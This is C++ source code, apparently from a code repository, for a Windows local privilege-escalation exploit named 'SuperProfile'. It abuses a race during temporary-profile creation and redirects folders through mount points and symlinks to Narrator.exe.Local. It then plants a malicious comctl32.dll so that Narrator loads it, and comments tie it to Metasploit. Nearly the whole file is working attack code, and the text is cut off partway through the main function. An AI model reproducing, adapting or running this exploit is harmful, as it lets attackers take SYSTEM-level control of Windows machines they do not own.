769 lines
37 KiB
C++
769 lines
37 KiB
C++
|
|
// SuperProfile vulnerability
|
|
// works on all windows versions
|
|
// tested on Windows 10 21H2, Windows 11, Windows Server 2022
|
|
#include <iostream>
|
|
#include <stdio.h>
|
|
#include <Windows.h>
|
|
#include <UserEnv.h>
|
|
#include <lmcons.h>
|
|
#include <conio.h>
|
|
#include <ShlObj.h>
|
|
#include <AclAPI.h>
|
|
#include <sddl.h>
|
|
#include <TlHelp32.h>
|
|
#include "Win-Ops-Master.h"
|
|
#include "resource.h"
|
|
#include "shellapi.h"
|
|
#include "stdio.h"
|
|
#pragma warning(disable : 4996)
|
|
#pragma comment(lib,"userenv.lib")
|
|
#pragma comment(lib,"shlwapi.lib")
|
|
|
|
|
|
HANDLE _token = nullptr;
|
|
OpsMaster op;
|
|
wchar_t* user_temp_dir = nullptr;
|
|
wchar_t* appdata = nullptr;
|
|
wchar_t* appdata_local = nullptr;
|
|
wchar_t* appdata_local_appdata = nullptr;
|
|
HANDLE happdata_local = nullptr;
|
|
HANDLE happdata = nullptr;
|
|
lock_ptr appdata_lock = nullptr;
|
|
HANDLE hlnk = nullptr;
|
|
|
|
#define MY_PRINTF(...) {wchar_t cad[1000]; swprintf_s(cad, 1000, __VA_ARGS__); OutputDebugStringW(cad);}
|
|
|
|
// Custom error function to print out more descriptive messages about errors that may occur.
|
|
void err(const wchar_t* fc, DWORD err, DWORD line) {
|
|
LPCWSTR errbuff = nullptr;
|
|
int sz = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, err, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&errbuff, NULL, NULL);
|
|
if (sz == 0) {
|
|
MY_PRINTF(L"Couldn't format error message inside err function!\r\n");
|
|
}
|
|
else {
|
|
MY_PRINTF(L"%s has returned an unexpected error %d in line %d\n%s", fc, err, line, errbuff);
|
|
}
|
|
HeapFree(GetProcessHeap(), NULL, (LPVOID)errbuff);
|
|
ExitProcess(1);
|
|
}
|
|
|
|
// Custom thread structure to allow passing around the username
|
|
// and password needed to log in as the seperate user.
|
|
struct thread_argv {
|
|
const wchar_t* username;
|
|
const wchar_t* domain;
|
|
const wchar_t* password;
|
|
};
|
|
|
|
// Main worker thread created by CreateThread().
|
|
// The only responsibilty of this worker is to create a suspended process given user credentials,
|
|
// check that it was started, and then terminate the process once it has been created.
|
|
DWORD WINAPI worker(void* argv) {
|
|
// Get the size of the full path to msiexec.exe by expanding the string %windir%\\System32\\msiexec.exe,
|
|
// then allocate this ammount of memory using HeapAlloc() on the process heap, and save the expanded
|
|
// string into this allocated memory, aka msi.
|
|
DWORD sz = ExpandEnvironmentStringsW(L"%windir%\\System32\\msiexec.exe", nullptr, 0);
|
|
if (sz == 0) {
|
|
MY_PRINTF(L"Failed to expand path to EXE inside worker function!\r\n");
|
|
ExitProcess(2);
|
|
}
|
|
|
|
wchar_t* msi = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz * sizeof(wchar_t));
|
|
if (msi == NULL) {
|
|
MY_PRINTF(L"worker couldn't allocate memory for msi!\r\n");
|
|
ExitProcess(3);
|
|
}
|
|
|
|
if (ExpandEnvironmentStringsW(L"%windir%\\System32\\msiexec.exe", msi, sz) == 0) {
|
|
MY_PRINTF(L"Failed to expand path to EXE inside worker function!\r\n");
|
|
ExitProcess(4);
|
|
}
|
|
|
|
// Get the thread arguments, save it into the variable tav.
|
|
thread_argv* tav = (thread_argv*)argv;
|
|
STARTUPINFOW si = { 0 };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
|
|
// Using CreateProcessWithLogonW, create a new msiexec.exe process using the provided
|
|
// username and password. Use LOGON_WITH_PROFILE to ensure that the user profile is loaded using the HKEY_USERS registry key.
|
|
//
|
|
// Whilst in theory we could use LOGON_NETCREDENTIALS_ONLY as we don't need to load the users profile, closer inspection shows
|
|
// that this only allows for the credentials to be used over the network, not locally as is the case here.
|
|
//
|
|
// Specify no arguments as we just want the process to be created, and specify the process creation flags as
|
|
// CREATE_SUSPENDED so that we create the process in a suspended state.
|
|
if (!CreateProcessWithLogonW(tav->username, tav->domain, tav->password,
|
|
LOGON_WITH_PROFILE, msi, NULL, CREATE_SUSPENDED, NULL, NULL,
|
|
&si, &pi)) {
|
|
err(L"CreateProcessWithLogonW", GetLastError(), __LINE__);
|
|
}
|
|
|
|
// Once we have created the suspended process, then terminate it with ERROR_SUCCESS exit code,
|
|
// close the handle to all of the process threads and the main process itself,
|
|
// free the msi heap memory, and return ERROR_SUCCESS to signal the thread itself.
|
|
if (!TerminateProcess(pi.hProcess, ERROR_SUCCESS)) {
|
|
err(L"TerminateProcess", GetLastError(), __LINE__);
|
|
}
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
HeapFree(GetProcessHeap(), NULL, msi);
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
// Early declaration of callback2 so that callback1 can use it properly.
|
|
void callback2();
|
|
|
|
// Essentially a remove subdirectory and subfolders function that doesn't delete parent directories or the current directory.
|
|
// However if provided a reparse point or a normal file it will straight up delete that.
|
|
bool RemoveDirNotParent(std::wstring dir)
|
|
{
|
|
// First get the attributes for the file specified. If it is a normal file, delete using DeleteFileNative.
|
|
// Otherwise if it is a reparse point, then delete it using RemoveDirectoryW().
|
|
DWORD fst_attr = GetFileAttributesW(dir.c_str());
|
|
if (fst_attr == INVALID_FILE_ATTRIBUTES) {
|
|
MY_PRINTF(L"Was not able to get file attributes inside RemoveDirNotParent() for file %s! Error was %i\r\n", dir.c_str(), GetLastError());
|
|
ExitProcess(5);
|
|
}
|
|
|
|
if (fst_attr & FILE_ATTRIBUTE_NORMAL)
|
|
return op.DeleteFileNative(dir);
|
|
if (fst_attr & FILE_ATTRIBUTE_REPARSE_POINT)
|
|
return RemoveDirectoryW(dir.c_str());
|
|
|
|
// If the file is not a normal file or a reparse point, then
|
|
// set search_path to the pattern to search for
|
|
// any subdirectories or files under the directory.
|
|
//
|
|
// Also set s_p to the path of the current directory being
|
|
// processed, but with a \ at the end.
|
|
std::wstring search_path = std::wstring(dir) + L"\\*.*";
|
|
std::wstring s_p = std::wstring(dir) + std::wstring(L"\\");
|
|
WIN32_FIND_DATAW fd;
|
|
HANDLE hFind = FindFirstFileW(search_path.c_str(), &fd);
|
|
if (hFind != INVALID_HANDLE_VALUE) {
|
|
do {
|
|
// If we find the current entry is . or .. then skip it.
|
|
if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
|
|
{
|
|
continue;
|
|
}
|
|
|
|
// If the subdirectory is a reparse point, remove it using RemoveDirectoryW().
|
|
if (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {
|
|
if (RemoveDirectoryW(std::wstring(s_p + fd.cFileName).c_str()) == FALSE) {
|
|
MY_PRINTF(L"Couldn't remove directory %s! Error was %i", std::wstring(s_p + fd.cFileName).c_str(), GetLastError());
|
|
ExitProcess(6);
|
|
}
|
|
continue;
|
|
}
|
|
|
|
// If the subdirectory is not a normal directory, remove it using DeleteFileNative()
|
|
if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
|
|
if (op.DeleteFileNative(std::wstring(s_p + fd.cFileName)) == FALSE) {
|
|
MY_PRINTF(L"Couldn't remove file %s! Error was %i", std::wstring(s_p + fd.cFileName).c_str(), op.GetLastErr());
|
|
ExitProcess(7);
|
|
}
|
|
continue;
|
|
}
|
|
|
|
// Otherwise if it is a directory and its not . or .., then remove the directory recursively
|
|
if (wcscmp(fd.cFileName, L".") != 0 && wcscmp(fd.cFileName, L"..") != 0)
|
|
{
|
|
if (op.RRemoveDirectory(s_p + fd.cFileName) == FALSE) {
|
|
DWORD lastError = op.GetLastErr();
|
|
if ((lastError != ERROR_SUCCESS) && (lastError != ERROR_FILE_NOT_FOUND)) {
|
|
MY_PRINTF(L"Was unable to remove the directory %s inside RemoveDirNotParent()! Error was %i\r\n", std::wstring(s_p + fd.cFileName).c_str(), op.GetLastErr());
|
|
}
|
|
}
|
|
}
|
|
} while (FindNextFileW(hFind, &fd)); // Continue until no more results matching search pattern.
|
|
FindClose(hFind); // When all done, close the find handle.
|
|
}
|
|
return true;
|
|
}
|
|
|
|
void callback1() {
|
|
// First, impersonate the user we provided the credentials for since some of these directories won't be accessible otherwise.
|
|
if (!ImpersonateLoggedOnUser(_token))
|
|
err(L"ImpersonateLoggedOnUser", GetLastError(), __LINE__);
|
|
|
|
// Move the file at C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local or similar to the system temp directory at C:\Windows\Temp
|
|
if (!op.MoveFileToTempDir(happdata_local, USE_SYSTEM_TEMP_DIR))
|
|
err(L"MoveFileToTempDir", op.GetLastErr(), __LINE__);
|
|
|
|
// Remove the entire C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local directory.
|
|
if (!op.DeleteByHandle(happdata_local))
|
|
err(L"DeleteByHandle", op.GetLastErr(), __LINE__);
|
|
|
|
// Remove all subdirectories and subfolders of the C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\ directory.
|
|
if (!RemoveDirNotParent(appdata)) {
|
|
MY_PRINTF(L"Could not recursively delete %s using RemoveDirNotParent!\r\n", appdata);
|
|
ExitProcess(9);
|
|
}
|
|
|
|
// Move the folder at C:\\Users\\TEMP.WIN11-TEST.022\\AppData or similar to the system temp directory at C:\Windows\Temp
|
|
if (!op.MoveFileToTempDir(std::wstring(appdata), true, USE_SYSTEM_TEMP_DIR))
|
|
err(L"MoveFileToTempDir", op.GetLastErr(), __LINE__);
|
|
|
|
// Create the directory C:\\Users\\TEMP.WIN11-TEST.022\\AppData and save the handle into happdata
|
|
happdata = op.OpenDirectory(appdata, GENERIC_READ | GENERIC_WRITE, ALL_SHARING);
|
|
if (!happdata)
|
|
err(L"OpenDirectory", op.GetLastErr(), __LINE__);
|
|
|
|
// Create a mount point at C:\\Users\\TEMP.WIN11-TEST.022\\AppData to C:\Users\Default\Appdata
|
|
if (!op.CreateMountPoint(happdata, L"C:\\Users\\Default\\Appdata"))
|
|
err(L"CreateMountPoint", op.GetLastErr(), __LINE__);
|
|
|
|
// Create a lock on C:\\Users\\TEMP.WIN11-TEST.022\\AppData, and have it call callback2 when activated.
|
|
appdata_lock = op.CreateLock(happdata, callback2);
|
|
|
|
// If appdata_lock is not set, then error out as it should have been set by now.
|
|
if (!appdata_lock)
|
|
err(L"CreateLock", op.GetLastErr(), __LINE__);
|
|
|
|
// Before returning, call rev2self to ensure we are executing as the current user and not as the user we impersonated.
|
|
if (RevertToSelf() == FALSE) {
|
|
MY_PRINTF(L"Failed to return to executing as the current user and not the impersonated user inside callback1!\r\n");
|
|
ExitProcess(10);
|
|
}
|
|
}
|
|
|
|
void callback2() {
|
|
// Impersonate the user we were provided credentials for.
|
|
if (!ImpersonateLoggedOnUser(_token))
|
|
err(L"ImpersonateLoggedOnUser", GetLastError(), __LINE__);
|
|
|
|
// Delete the mount point at C:\\Users\\TEMP.WIN11-TEST.022\\AppData such that it still exists but no longer points to C:\\Users\\Default\\Appdata
|
|
if (!op.DeleteMountPoint(happdata))
|
|
err(L"DeleteMountPoint", op.GetLastErr(), __LINE__);
|
|
|
|
// Open the directory at C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local with write permissions, full sharing, and always open even if it exists.
|
|
happdata_local = op.OpenDirectory(appdata_local, GENERIC_WRITE, ALL_SHARING, OPEN_ALWAYS);
|
|
if (!happdata_local)
|
|
err(L"OpenDirectory", op.GetLastErr(), __LINE__);
|
|
|
|
// Once we have a handle to C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local, turn it from a mount point to C:\\Users\\Default\\Appdata to
|
|
// a mount point to \\BaseNamedObjects\\Restricted, and then close the handle to C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local
|
|
if (!op.CreateMountPoint(happdata_local, L"\\BaseNamedObjects\\Restricted"))
|
|
err(L"CreateMountPoint", op.GetLastErr(), __LINE__);
|
|
|
|
// Finally, create a native symbolic link from \\BaseNamedObjects\\Restricted\\Application Data to \\??\\C:\\Windows\\System32\\Narrator.exe.Local
|
|
// This will make C:\\Users\\TEMP.WIN11-TEST.022\\AppData\\Local\\Application Data point to C:\\Windows\\System32\\Narrator.exe.Local
|
|
hlnk = op.CreateNativeSymlink(L"\\BaseNamedObjects\\Restricted\\Application Data", L"\\??\\C:\\Windows\\System32\\Narrator.exe.Local");
|
|
if (!hlnk)
|
|
err(L"CreateNativeSymlink", op.GetLastErr(), __LINE__);
|
|
|
|
// Before returning, call rev2self to ensure we are executing as the current user and not as the user we impersonated.
|
|
if (RevertToSelf() == FALSE) {
|
|
MY_PRINTF(L"Failed to return to executing as the current user and not the impersonated user inside callback2!\r\n");
|
|
ExitProcess(11);
|
|
}
|
|
CloseHandle(happdata_local);
|
|
}
|
|
|
|
// Drop the payload at \\BaseNamedObjects\\Restricted\\Application Data\\C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e\\comctl32.dll
|
|
// or a similar path.
|
|
void DoDropPayload(const wchar_t* dllPath) {
|
|
// XXX Following two blocks of code need to be removed and replaced with
|
|
// a way to load the DLL somehow from Metasploit vs compiling it into the EXE.
|
|
HANDLE hDLLFile = CreateFileW(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hDLLFile == INVALID_HANDLE_VALUE) {
|
|
DWORD error = GetLastError();
|
|
|
|
//MessageBoxW(NULL, dllPath, L"Unable to open DLL file!", MB_OK);
|
|
ExitProcess(12);
|
|
}
|
|
DWORD DllSize = GetFileSize(hDLLFile, NULL);
|
|
DWORD bytesRead = 0;
|
|
char* DllBuff = new char[DllSize + 1];
|
|
if (ReadFile(hDLLFile, DllBuff, DllSize, &bytesRead, NULL) == FALSE) {
|
|
//MessageBoxW(NULL, dllPath, L"Unable to read DLL file!", MB_OK);
|
|
ExitProcess(13);
|
|
}
|
|
|
|
// Next we will use an empty WIN32_FIND_DATA structure to get the first file location matching the pattern
|
|
// C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_*_none_*, and save the search handle into hfind.
|
|
// Results of the file found to match the query will be saved into the data variable.
|
|
WIN32_FIND_DATAW data = { 0 };
|
|
HANDLE hfind = FindFirstFileW(L"C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_*_none_*", &data);
|
|
if (hfind == INVALID_HANDLE_VALUE) {
|
|
MY_PRINTF(L"Couldn't find a file matching the WinSxS pattern! Are you sure this is an AMD64 machine?\r\n");
|
|
ExitProcess(14);
|
|
}
|
|
std::wstring narrator_dir = L"C:\\Windows\\System32\\Narrator.exe.Local\\";
|
|
|
|
// Remember that at this point C:\\Windows\\System32\\Narrator.exe.Local should point to C:\Users\TEMP\AppData\Local
|
|
// and that \\BaseNamedObjects\\Restricted\\Application Data points to C:\\Windows\\System32\\Narrator.exe.Local, which in turn points to C:\Users\TEMP\AppData\Local
|
|
// C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e
|
|
// is an example of the value of _dll_dir here which therefore points to
|
|
// C:\Users\TEMP\AppData\Local\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e in practice.
|
|
//
|
|
// We will then create this directory using CreateDirectoryW() call.
|
|
std::wstring _dll_dir = narrator_dir + data.cFileName;
|
|
if (CreateDirectoryW(_dll_dir.c_str(), NULL) == FALSE) {
|
|
MY_PRINTF(L"Could not create directory %s as we encountered error %i\r\n", _dll_dir.c_str(), GetLastError());
|
|
ExitProcess(15);
|
|
}
|
|
|
|
// Next we create the file
|
|
// \\BaseNamedObjects\\Restricted\\Application Data\\C:\\Windows\\System32\\Narrator.exe.Local\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_271a8fad6a2d1b1e\\comctl32.dll
|
|
// and overwrite its contents with the contents of the DLL we specify.
|
|
std::wstring _dll = _dll_dir + L"\\comctl32.dll";
|
|
HANDLE hdll = op.OpenFileNative(_dll, GENERIC_WRITE, ALL_SHARING, CREATE_ALWAYS);
|
|
if (hdll == NULL) {
|
|
MY_PRINTF(L"Couldn't open file at %s for writing! Error was: %i\r\n!", _dll.c_str(), op.GetLastErr());
|
|
ExitProcess(16);
|
|
}
|
|
|
|
// XXX This needs to be updated so that it writes the right DLL data.
|
|
if (op.WriteFileNative(hdll, DllBuff, DllSize) == FALSE) {
|
|
MY_PRINTF(L"Couldn't write file at %s! Error was: %i\r\n!", _dll.c_str(), op.GetLastErr());
|
|
ExitProcess(17);
|
|
}
|
|
|
|
// Whilst we still have other matches on C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_*_none_* pattern,
|
|
// continue to overwrite their versions of comctl32.dll with our malicious DLL copy to ensure we can gain control.
|
|
//
|
|
// Note that interestingly these files are reset back to legit copies after the exploit ends so implications of doing this aren't so bad.
|
|
//
|
|
// This will result in more directories at \\BaseNamedObjects\\Restricted\\Application Data\\<value of data.cFileName> and more
|
|
// \\BaseNamedObjects\\Restricted\\Application Data\\<value of data.cFileName>\\comctl32.dll files.
|
|
while (FindNextFileW(hfind, &data) == TRUE) {
|
|
_dll_dir = narrator_dir + data.cFileName;
|
|
if (CreateDirectoryW(_dll_dir.c_str(), NULL) == FALSE) {
|
|
MY_PRINTF(L"Couldn't create directory %s! Error was: %i\r\n", _dll_dir.c_str(), GetLastError());
|
|
delete[] DllBuff;
|
|
ExitProcess(18);
|
|
}
|
|
_dll = _dll_dir + L"\\comctl32.dll";
|
|
hdll = op.OpenFileNative(_dll, GENERIC_WRITE, ALL_SHARING, CREATE_ALWAYS);
|
|
if (hdll == NULL) {
|
|
MY_PRINTF(L"Couldn't open file at %s for writing! Error was: %i\r\n", _dll.c_str(), op.GetLastErr());
|
|
delete[] DllBuff;
|
|
ExitProcess(19);
|
|
}
|
|
if (op.WriteFileNative(hdll, DllBuff, DllSize) == FALSE) {
|
|
MY_PRINTF(L"Couldn't write file at %s! Error was: %i\r\n", _dll.c_str(), op.GetLastErr());
|
|
CloseHandle(hdll);
|
|
delete[] DllBuff;
|
|
ExitProcess(20);
|
|
}
|
|
}
|
|
FindClose(hfind);
|
|
CloseHandle(hdll);
|
|
CloseHandle(hDLLFile);
|
|
delete[] DllBuff;
|
|
return;
|
|
}
|
|
|
|
wchar_t* GetWC(char* c) {
|
|
const size_t cSize = strlen(c) + 1;
|
|
wchar_t* wc = new wchar_t[cSize];
|
|
mbstowcs(wc, c, cSize);
|
|
return wc;
|
|
}
|
|
|
|
// Main entry of program.
|
|
int exploit(char* incomingData) {
|
|
// Convert data from Metasploit into local wchar_t string pointers.
|
|
// First initialize the call with the string we want to split
|
|
wchar_t* login_user = GetWC(strtok(incomingData, "||"));
|
|
wchar_t* login_domain = GetWC(strtok(NULL, "||"));
|
|
wchar_t* login_password = GetWC(strtok(NULL, "||"));
|
|
wchar_t* dllPath = GetWC(strtok(NULL, "||"));
|
|
|
|
// Use ExpandEnvironmentStringsW() to check that the current user is not the same as the user provided for the login.
|
|
wchar_t current_user[512];
|
|
|
|
// Same check but using the user domain to double check we didn't specify a domain format of a username. Just to make sure :)
|
|
if (ExpandEnvironmentStringsW(L"%USERDOMAIN%\\%USERNAME%", current_user, 512) == 0) {
|
|
MY_PRINTF(L"Couldn't expand USERDOMAIN\\USERNAME environment variable! Error was %i\r\n", GetLastError());
|
|
ExitProcess(22);
|
|
}
|
|
if (!wcsicmp(current_user, login_user)) {
|
|
printf("The current user and the specified user cannot be the same.");
|
|
return 1;
|
|
}
|
|
|
|
// Using the provided username and password, attempt to log on with the provided username,
|
|
// password, and domain to the local computer. Also specify that we want an interactive
|
|
// logon session and specify that we want to use the default provider.
|
|
//
|
|
// Save the information on the logon token that will be returned by this call
|
|
// to the _token global variable.
|
|
if (!LogonUserW(login_user, login_domain, login_password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &_token))
|
|
err(L"LogonUserW", GetLastError(), __LINE__); // If we errored on the login then print out an error and exit.
|
|
|
|
// Set high priority class on our process to ensure its classed as a time-critical process that must be executed immediately
|
|
// and therefore must be executed before normal or idle priority class processes, and can use as much CPU time as it needs
|
|
// unless interrupted by a higher priority process.
|
|
if (!SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS)) {
|
|
err(L"SetPriorityClass", GetLastError(), __LINE__);
|
|
}
|
|
|
|
// Set the thread priority to time critical aka level 15, the highest thread priority possible besides level 31 for REALTIME_PRIORITY_CLASS.
|
|
// This ensures that we don't interrupt system critical threads, but we are as high priority as possible to ensure the threads get the chance
|
|
// they need to win this race.
|
|
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL)) {
|
|
err(L"SetThreadPriority", GetLastError(), __LINE__);
|
|
}
|
|
|
|
// Enable file system redirection for the calling thread. Parameter is FALSE since it must be a PVOID that holds the old value but we don't care about this.
|
|
//if (!Wow64EnableWow64FsRedirection(FALSE)) {
|
|
// err(L"Wow64EnableWow64FsRedirection", GetLastError(), __LINE__);
|
|
//}
|
|
|
|
// Originally this code called the function worker() and pass it in the login username and password as parameters,
|
|
// then waited infinitely for the thread to be signaled. Personally I found this wasn't needed, and the only
|
|
// potential benefit was loading the user's profile, which doesn't seem to be needed in my tests on Windows 11.
|
|
//
|
|
// Therefore this code now just decleares hthread and thrd_argv as parameters for later calls.
|
|
thread_argv thrd_argv = { login_user,login_domain,login_password };
|
|
HANDLE hthread = NULL;
|
|
|
|
// Okay we should now have the logon token for the user so lets run Narrator and don't specify a window to associate with,
|
|
// use the "open" option to open a process, specify the path to Narrator, don't specify parameters, use the current directory,
|
|
// and try to force minimize the window.
|
|
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
|
|
|
|
HINSTANCE shellResult = ShellExecuteW(NULL, L"open", L"C:\\Windows\\System32\\narrator.exe", NULL, NULL, SW_HIDE);
|
|
if (shellResult < (HINSTANCE)32) {
|
|
MY_PRINTF(L"Couldn't start Narrator.exe! Error was: %i\r\n", shellResult);
|
|
ExitProcess(23);
|
|
}
|
|
|
|
// Check if we can impersonate the user we logged in as earlier
|
|
// using ImpersonateLoggedOnUser(). If we can't then error out and exit.
|
|
if (!ImpersonateLoggedOnUser(_token))
|
|
err(L"ImpersonateLoggedOnUser", GetLastError(), __LINE__);
|
|
|
|
// Get the environment strings for the user we logged in as, specifically for the string
|
|
// C:\\Users\\%USERNAME%\\ntuser.dat, which is a hidden file located in every user profile
|
|
// that contains the settings and preferences for each user (see https://www.howtogeek.com/401365/what-is-the-ntuser.dat-file/)
|
|
//
|
|
// Save the expanded string into the variable user_registry_path.
|
|
//
|
|
// Then we continously try to open this file using op.OpenFileNative until we can get a handle to it.
|
|
wchar_t user_registry_path[MAX_PATH];
|
|
int returnCode = wcscmp(login_domain, L".");
|
|
wchar_t current_domain[512];
|
|
ExpandEnvironmentStringsW(L"%USERDOMAIN%", current_domain, 512);
|
|
int returnCodeTryTwo = wcscmp(login_domain, current_domain);
|
|
if ((returnCode == 0) || (returnCodeTryTwo == 0)) {
|
|
if (!ExpandEnvironmentStringsForUserW(_token, L"C:\\Users\\%USERNAME%\\ntuser.dat", user_registry_path, MAX_PATH)) {
|
|
err(L"ExpandEnvironmentStringsForUser", GetLastError(), __LINE__);
|
|
}
|
|
}
|
|
else {
|
|
if (!ExpandEnvironmentStringsForUserW(_token, L"C:\\Users\\%USERNAME%\.%USERDOMAIN%\\ntuser.dat", user_registry_path, MAX_PATH)) {
|
|
err(L"ExpandEnvironmentStringsForUser", GetLastError(), __LINE__);
|
|
}
|
|
}
|
|
HANDLE huserdat = NULL;
|
|
do {
|
|
huserdat = op.OpenFileNative(user_registry_path, GENERIC_READ, NULL, OPEN_ALWAYS);
|
|
} while (!huserdat);
|
|
|
|
// At this point we now have a handle to C:\\Users\\%USERNAME%\\ntuser.dat.
|
|
// We then open a handle to the C:\\Users directory with generic read access.
|
|
HANDLE husers_dir = op.OpenDirectory("C:\\Users", GENERIC_READ);
|
|
if (!husers_dir)
|
|
err(L"OpenDirectory", op.GetLastErr(), __LINE__);
|
|
|
|
// With a handle to both C:\\Users\\%USERNAME%\\ntuser.dat and to C:\\Users
|
|
// we now create a new FILE_NOTIFY_INFORMATION structure in process heap memory
|
|
// of size 4096, and zero the memory.
|
|
FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
|
|
if (fni == NULL) {
|
|
MY_PRINTF(L"Unable to allocate memory for file notification information!\r\n");
|
|
ExitProcess(24);
|
|
}
|
|
wchar_t new_dir[MAX_PATH];
|
|
|
|
// Create a new thread that will run worker() that will create a new suspended process, and then kill it.
|
|
// Save the handle to this thread in hthread.
|
|
hthread = CreateThread(NULL, NULL, worker, (void*)&thrd_argv, NULL, NULL);
|
|
if (!hthread) {
|
|
err(L"CreateThread", GetLastError(), __LINE__);
|
|
}
|
|
do {
|
|
ZeroMemory(new_dir, MAX_PATH);
|
|
DWORD ret_sz = 0;
|
|
|
|
// Now we check to see if there were any changes to the C:\\Users directory, using fni as
|
|
// the FILE_NOTIFY_INFORMATION structure to get the file changes, check for changes in subdirectories,
|
|
// and specifically look for changes in the directory name of any directory at or below the level of C:\\Users.
|
|
//
|
|
// Save number of bytes read into ret_sz. This parameter is specified as this
|
|
// call is sychronous and thus this parameter is required, but we don't do anything with the returned info.
|
|
//
|
|
// This call relies on our earlier CreateThread() call to make the modifications to the C:\\Users directory
|
|
if (!ReadDirectoryChangesW(husers_dir, fni, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret_sz, nullptr, nullptr))
|
|
err(L"ReadDirectoryChangesW", GetLastError(), __LINE__);
|
|
|
|
// If the only action that was peformed wasn't to add a file to a directory, then skip to next instance of the loop.
|
|
// Otherwise if the action was to add a file to the directory, then we proceed to next instruction.
|
|
if (fni->Action != FILE_ACTION_ADDED)
|
|
continue;
|
|
|
|
// Set new_dir aka the path where the file is being created, to the full filename of the new file that was created.
|
|
memcpy(new_dir, fni->FileName, fni->FileNameLength);
|
|
new_dir[fni->FileNameLength / 2] = L'\0'; // Make sure to NULL terminate the wchar path string inside new_dir.
|
|
|
|
// If the path to the new file does not contain a directory within the path string,
|
|
// then we skip the file and continue to the next change.
|
|
// Otherwise we proceed with next steps.
|
|
if (wcschr(new_dir, L'\\'))
|
|
continue;
|
|
|
|
// Bit of an odd check but check if the first 4 letters of the new path start with TEMP.
|
|
// If they do, then continue as this is the file we are interested in. Otherwise jump to top
|
|
// of the loop as this isn't a file we are interested in. This will look something like TEMP.WIN11-TEST.016
|
|
// in practice.
|
|
|
|
WCHAR cmp[5] = { 0 };
|
|
wmemcpy(cmp, new_dir, 4);
|
|
cmp[4] = L'\0';
|
|
if (wcscmp(cmp, L"TEMP"))
|
|
continue;
|
|
|
|
// If we reached this point and none of the above apply, we have found the file that was
|
|
// added to the directory we are after.
|
|
break;
|
|
} while (1);
|
|
|
|
// Set total size to 10 + the length of the new file path. 10 specifically as that
|
|
// is the length of the string C:\Users\ with a null terminator at the end.
|
|
//
|
|
// Then allocate this much memory, aka user_temp_dir_sz, using HeapAlloc() on
|
|
// the process heap and save the resulting pointer into the variable user_temp_dir.
|
|
size_t user_temp_dir_sz = (10 + lstrlenW(new_dir)) * sizeof(wchar_t);
|
|
user_temp_dir = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, user_temp_dir_sz);
|
|
if (user_temp_dir == NULL) {
|
|
MY_PRINTF(L"Unable to allocate memory for user_temp_dir!\r\n");
|
|
ExitProcess(25);
|
|
}
|
|
|
|
// Now append the string C:\Users\ to the end of whatever is in the
|
|
// variable new_dir and save this into user_temp_dir. In practice this
|
|
// will look something like C:\\Users\\TEMP.WIN11-TEST.016
|
|
wmemcpy(user_temp_dir, L"C:\\Users\\\0", 10);
|
|
wcscat(user_temp_dir, new_dir);
|
|
|
|
// Now create another heap allocation of size user_temp_dir_sz plus 6 extra bytes for the string \.lock
|
|
// Save resulting memory pointer into lock_file variable and have it save the value of user_temp_dir
|
|
// plus \.lock to the end of the path.
|
|
//
|
|
// This means lock_file will look something like C:\\Users\\TEMP.WIN11-TEST.016\\.lock
|
|
wchar_t* lock_file = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, user_temp_dir_sz + (6 * sizeof(wchar_t)));
|
|
if (lock_file == NULL) {
|
|
MY_PRINTF(L"Unable to allocate memory for the lock file!\r\n");
|
|
ExitProcess(26);
|
|
}
|
|
wcscpy(lock_file, user_temp_dir);
|
|
wcscat(lock_file, L"\\.lock");
|
|
|
|
// Open a handle to this lock file in hlock_file and make it have generic read permissions,
|
|
// plus DELETE so that the file is deleted when the handle is closed.
|
|
//
|
|
// This seems to be part of the race condition from what I can tell?? If we fail to create this file in time,
|
|
// then the exploit will fail as the worker() thread will start cleaning up before our lock can be created.
|
|
// If this happens that we won't be able to grab the lock and keep this open.
|
|
HANDLE hlock_file = op.OpenFileNative(lock_file, GENERIC_READ | DELETE, NULL, CREATE_ALWAYS);
|
|
if (!hlock_file)
|
|
err(L"OpenFileNative", op.GetLastErr(), __LINE__);
|
|
|
|
|
|
